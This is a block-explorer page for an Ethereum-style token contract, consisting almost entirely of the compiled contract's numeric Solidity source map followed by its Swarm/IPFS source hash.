4;:21;;;;8753:61;8736:515;;;8870:28;8901:24;8919:4;8901:9;:24::i;:::-;8870:55;;8966:12;;8943:20;:35;8940:78;;;9004:12;;8981:35;;8940:78;9042:1;9032:7;;:11;;;;;;;;;;;;;;;;;;9058:38;9075:20;9058:16;:38::i;:::-;9111:15;9129:21;9111:39;;9165:74;9186:42;9231:7;9165:12;:74::i;:::-;8839:412;;8736:515;8657:601;9268:12;9283:4;9268:19;;9298:10;9325:18;:24;9344:4;9325:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;9353:18;:22;9372:2;9353:22;;;;;;;;;;;;;;;;;;;;;;;;;9325:50;9322:237;;;9401:5;9391:15;;9322:237;;;9450:13;;;;;;;;;;;9442:21;;:4;:21;;;9439:72;;9491:4;9483:12;;9439:72;9538:7;;:9;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;9322:237;9571:48;9586:4;9592:2;9596:6;9604:7;9613:5;9571:14;:48::i;:::-;8309:1318;;8206:1421;;;:::o;1248:206::-;1334:7;1392:1;1387;:6;;1395:12;1379:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1434:1;1430;:5;1423:12;;1248:206;;;;;:::o;820:98::-;878:7;909:1;905;:5;;;;:::i;:::-;898:12;;820:98;;;;:::o;11143:472::-;11209:21;11247:1;11233:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11209:40;;11278:4;11260;11265:1;11260:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;11304:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11294:4;11299:1;11294:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;11337:62;11354:4;11369:15;;;;;;;;;;;11387:11;11337:8;:62::i;:::-;11410:15;;;;;;;;;;;:66;;;11491:11;11517:1;11534:4;11561;11581:15;11410:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11198:417;11143:472;:::o;9639:120::-;9724:6;:15;;:23;9740:6;9724:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9639:120;;:::o;9773:1363::-;9906:7;9902:1225;;9969:7;9950;:18;9958:9;9950:18;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;9929:7;:18;9937:9;9929:18;;;;;;;;;;;;;;;:47;;;;10025:7;10009;:15;10017:6;10009:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;9991:7;:15;9999:6;9991:15;;;;;;;;;;;;;;;:41;;;;10050:18;:26;10069:6;10050:26;;;;;;;;;;;;;;;;;;;;;;;;;:59;;;;;10080:18;:29;10099:9;10080:29;;;;;;;;;;;;;;;;;;;;;;;;;10050:59;10047:190;;;10167:7;10148;:18;10156:9;10148:18;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;10127:7;:18;10135:9;10127:18;;;;;;;;;;;;;;;:47;;;;10047:190;;;10215:9;10198:36;;10207:6;10198:36;;;10226:7;10198:36;;;;;;:::i;:::-;;;;;;;;10047:190;9902:1225;;;10265:5;10261:866;;;10286:14;10319:4;10311:7;;10303;:15;;;;:::i;:::-;:20;;;;:::i;:::-;10286:37;;10338:23;10372:6;10364:7;:14;;;;:::i;:::-;10338:40;;10427:7;10411;:15;10419:6;10411:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;10393:7;:15;10401:6;10393:15;;;;;;;;;;;;;;;:41;;;;10489:15;10470:7;:18;10478:9;10470:18;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;10449:7;:18;10457:9;10449:18;;;;;;;;;;;;;;;:55;;;;10567:6;10544:7;:22;10560:4;10544:22;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;10519:7;:22;10535:4;10519:22;;;;;;;;;;;;;;;:54;;;;10613:9;10596:44;;10605:6;10596:44;;;10624:15;10596:44;;;;;;:::i;:::-;;;;;;;;10271:385;;10261:866;;;10677:15;10719:7;:60;10735:42;10719:60;;;;;;;;;;;;;;;;10712:4;10704:7;10695:8;;:16;;;;:::i;:::-;:21;;;;:::i;:::-;:84;;;;:::i;:::-;10677:102;;10807:23;10841:7;10833;:15;;;;:::i;:::-;10807:41;;10897:7;10881;:15;10889:6;10881:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;10863:7;:15;10871:6;10863:15;;;;;;;;;;;;;;;:41;;;;10959:15;10940:7;:18;10948:9;10940:18;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;10919:7;:18;10927:9;10919:18;;;;;;;;;;;;;;;:55;;;;11037:7;11014;:22;11030:4;11014:22;;;;;;;;;;;;;;;;:30;;;;:::i;:::-;10989:7;:22;11005:4;10989:22;;;;;;;;;;;;;;;:55;;;;11084:9;11067:44;;11076:6;11067:44;;;11095:15;11067:44;;;;;;:::i;:::-;;;;;;;;10662:465;;10261:866;9902:1225;9773:1363;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:60::-;3522:3;3543:5;3536:12;;3494:60;;;:::o;3560:142::-;3610:9;3643:53;3661:34;3670:24;3688:5;3670:24;:::i;:::-;3661:34;:::i;:::-;3643:53;:::i;:::-;3630:66;;3560:142;;;:::o;3708:126::-;3758:9;3791:37;3822:5;3791:37;:::i;:::-;3778:50;;3708:126;;;:::o;3840:152::-;3916:9;3949:37;3980:5;3949:37;:::i;:::-;3936:50;;3840:152;;;:::o;3998:183::-;4111:63;4168:5;4111:63;:::i;:::-;4106:3;4099:76;3998:183;;:::o;4187:274::-;4306:4;4344:2;4333:9;4329:18;4321:26;;4357:97;4451:1;4440:9;4436:17;4427:6;4357:97;:::i;:::-;4187:274;;;;:::o;4467:118::-;4554:24;4572:5;4554:24;:::i;:::-;4549:3;4542:37;4467:118;;:::o;4591:222::-;4684:4;4722:2;4711:9;4707:18;4699:26;;4735:71;4803:1;4792:9;4788:17;4779:6;4735:71;:::i;:::-;4591:222;;;;:::o;4819:619::-;4896:6;4904;4912;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;5214:2;5240:53;5285:7;5276:6;5265:9;5261:22;5240:53;:::i;:::-;5230:63;;5185:118;5342:2;5368:53;5413:7;5404:6;5393:9;5389:22;5368:53;:::i;:::-;5358:63;;5313:118;4819:619;;;;;:::o;5444:86::-;5479:7;5519:4;5512:5;5508:16;5497:27;;5444:86;;;:::o;5536:112::-;5619:22;5635:5;5619:22;:::i;:::-;5614:3;5607:35;5536:112;;:::o;5654:214::-;5743:4;5781:2;5770:9;5766:18;5758:26;;5794:67;5858:1;5847:9;5843:17;5834:6;5794:67;:::i;:::-;5654:214;;;;:::o;5874:118::-;5961:24;5979:5;5961:24;:::i;:::-;5956:3;5949:37;5874:118;;:::o;5998:222::-;6091:4;6129:2;6118:9;6114:18;6106:26;;6142:71;6210:1;6199:9;6195:17;6186:6;6142:71;:::i;:::-;5998:222;;;;:::o;6226:329::-;6285:6;6334:2;6322:9;6313:7;6309:23;6305:32;6302:119;;;6340:79;;:::i;:::-;6302:119;6460:1;6485:53;6530:7;6521:6;6510:9;6506:22;6485:53;:::i;:::-;6475:63;;6431:117;6226:329;;;;:::o;6561:474::-;6629:6;6637;6686:2;6674:9;6665:7;6661:23;6657:32;6654:119;;;6692:79;;:::i;:::-;6654:119;6812:1;6837:53;6882:7;6873:6;6862:9;6858:22;6837:53;:::i;:::-;6827:63;;6783:117;6939:2;6965:53;7010:7;7001:6;6990:9;6986:22;6965:53;:::i;:::-;6955:63;;6910:118;6561:474;;;;;:::o;7041:180::-;7089:77;7086:1;7079:88;7186:4;7183:1;7176:15;7210:4;7207:1;7200:15;7227:180;7275:77;7272:1;7265:88;7372:4;7369:1;7362:15;7396:4;7393:1;7386:15;7413:185;7453:1;7470:20;7488:1;7470:20;:::i;:::-;7465:25;;7504:20;7522:1;7504:20;:::i;:::-;7499:25;;7543:1;7533:35;;7548:18;;:::i;:::-;7533:35;7590:1;7587;7583:9;7578:14;;7413:185;;;;:::o;7604:227::-;7744:34;7740:1;7732:6;7728:14;7721:58;7813:10;7808:2;7800:6;7796:15;7789:35;7604:227;:::o;7837:366::-;7979:3;8000:67;8064:2;8059:3;8000:67;:::i;:::-;7993:74;;8076:93;8165:3;8076:93;:::i;:::-;8194:2;8189:3;8185:12;8178:19;;7837:366;;;:::o;8209:419::-;8375:4;8413:2;8402:9;8398:18;8390:26;;8462:9;8456:4;8452:20;8448:1;8437:9;8433:17;8426:47;8490:131;8616:4;8490:131;:::i;:::-;8482:139;;8209:419;;;:::o;8634:225::-;8774:34;8770:1;8762:6;8758:14;8751:58;8843:8;8838:2;8830:6;8826:15;8819:33;8634:225;:::o;8865:366::-;9007:3;9028:67;9092:2;9087:3;9028:67;:::i;:::-;9021:74;;9104:93;9193:3;9104:93;:::i;:::-;9222:2;9217:3;9213:12;9206:19;;8865:366;;;:::o;9237:419::-;9403:4;9441:2;9430:9;9426:18;9418:26;;9490:9;9484:4;9480:20;9476:1;9465:9;9461:17;9454:47;9518:131;9644:4;9518:131;:::i;:::-;9510:139;;9237:419;;;:::o;9662:305::-;9702:3;9721:20;9739:1;9721:20;:::i;:::-;9716:25;;9755:20;9773:1;9755:20;:::i;:::-;9750:25;;9909:1;9841:66;9837:74;9834:1;9831:81;9828:107;;;9915:18;;:::i;:::-;9828:107;9959:1;9956;9952:9;9945:16;;9662:305;;;;:::o;9973:167::-;10113:19;10109:1;10101:6;10097:14;10090:43;9973:167;:::o;10146:366::-;10288:3;10309:67;10373:2;10368:3;10309:67;:::i;:::-;10302:74;;10385:93;10474:3;10385:93;:::i;:::-;10503:2;10498:3;10494:12;10487:19;;10146:366;;;:::o;10518:419::-;10684:4;10722:2;10711:9;10707:18;10699:26;;10771:9;10765:4;10761:20;10757:1;10746:9;10742:17;10735:47;10799:131;10925:4;10799:131;:::i;:::-;10791:139;;10518:419;;;:::o;10943:222::-;11083:34;11079:1;11071:6;11067:14;11060:58;11152:5;11147:2;11139:6;11135:15;11128:30;10943:222;:::o;11171:366::-;11313:3;11334:67;11398:2;11393:3;11334:67;:::i;:::-;11327:74;;11410:93;11499:3;11410:93;:::i;:::-;11528:2;11523:3;11519:12;11512:19;;11171:366;;;:::o;11543:419::-;11709:4;11747:2;11736:9;11732:18;11724:26;;11796:9;11790:4;11786:20;11782:1;11771:9;11767:17;11760:47;11824:131;11950:4;11824:131;:::i;:::-;11816:139;;11543:419;;;:::o;11968:167::-;12005:3;12028:22;12044:5;12028:22;:::i;:::-;12019:31;;12072:4;12065:5;12062:15;12059:41;;12080:18;;:::i;:::-;12059:41;12127:1;12120:5;12116:13;12109:20;;11968:167;;;:::o;12141:180::-;12189:77;12186:1;12179:88;12286:4;12283:1;12276:15;12310:4;12307:1;12300:15;12327:180;12375:77;12372:1;12365:88;12472:4;12469:1;12462:15;12496:4;12493:1;12486:15;12513:143;12570:5;12601:6;12595:13;12586:22;;12617:33;12644:5;12617:33;:::i;:::-;12513:143;;;;:::o;12662:351::-;12732:6;12781:2;12769:9;12760:7;12756:23;12752:32;12749:119;;;12787:79;;:::i;:::-;12749:119;12907:1;12932:64;12988:7;12979:6;12968:9;12964:22;12932:64;:::i;:::-;12922:74;;12878:128;12662:351;;;;:::o;13019:85::-;13064:7;13093:5;13082:16;;13019:85;;;:::o;13110:158::-;13168:9;13201:61;13219:42;13228:32;13254:5;13228:32;:::i;:::-;13219:42;:::i;:::-;13201:61;:::i;:::-;13188:74;;13110:158;;;:::o;13274:147::-;13369:45;13408:5;13369:45;:::i;:::-;13364:3;13357:58;13274:147;;:::o;13427:114::-;13494:6;13528:5;13522:12;13512:22;;13427:114;;;:::o;13547:184::-;13646:11;13680:6;13675:3;13668:19;13720:4;13715:3;13711:14;13696:29;;13547:184;;;;:::o;13737:132::-;13804:4;13827:3;13819:11;;13857:4;13852:3;13848:14;13840:22;;13737:132;;;:::o;13875:108::-;13952:24;13970:5;13952:24;:::i;:::-;13947:3;13940:37;13875:108;;:::o;13989:179::-;14058:10;14079:46;14121:3;14113:6;14079:46;:::i;:::-;14157:4;14152:3;14148:14;14134:28;;13989:179;;;;:::o;14174:113::-;14244:4;14276;14271:3;14267:14;14259:22;;14174:113;;;:::o;14323:732::-;14442:3;14471:54;14519:5;14471:54;:::i;:::-;14541:86;14620:6;14615:3;14541:86;:::i;:::-;14534:93;;14651:56;14701:5;14651:56;:::i;:::-;14730:7;14761:1;14746:284;14771:6;14768:1;14765:13;14746:284;;;14847:6;14841:13;14874:63;14933:3;14918:13;14874:63;:::i;:::-;14867:70;;14960:60;15013:6;14960:60;:::i;:::-;14950:70;;14806:224;14793:1;14790;14786:9;14781:14;;14746:284;;;14750:14;15046:3;15039:10;;14447:608;;;14323:732;;;;:::o;15061:831::-;15324:4;15362:3;15351:9;15347:19;15339:27;;15376:71;15444:1;15433:9;15429:17;15420:6;15376:71;:::i;:::-;15457:80;15533:2;15522:9;15518:18;15509:6;15457:80;:::i;:::-;15584:9;15578:4;15574:20;15569:2;15558:9;15554:18;15547:48;15612:108;15715:4;15706:6;15612:108;:::i;:::-;15604:116;;15730:72;15798:2;15787:9;15783:18;15774:6;15730:72;:::i;:::-;15812:73;15880:3;15869:9;15865:19;15856:6;15812:73;:::i;:::-;15061:831;;;;;;;;:::o;15898:191::-;15938:4;15958:20;15976:1;15958:20;:::i;:::-;15953:25;;15992:20;16010:1;15992:20;:::i;:::-;15987:25;;16031:1;16028;16025:8;16022:34;;;16036:18;;:::i;:::-;16022:34;16081:1;16078;16074:9;16066:17;;15898:191;;;;:::o;16095:348::-;16135:7;16158:20;16176:1;16158:20;:::i;:::-;16153:25;;16192:20;16210:1;16192:20;:::i;:::-;16187:25;;16380:1;16312:66;16308:74;16305:1;16302:81;16297:1;16290:9;16283:17;16279:105;16276:131;;;16387:18;;:::i;:::-;16276:131;16435:1;16432;16428:9;16417:20;;16095:348;;;;:::o

Swarm Source

ipfs://47cb895d9426dec206031f0fd4c19b24c2507e549f187e846cd8b9aebdbbf0b2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.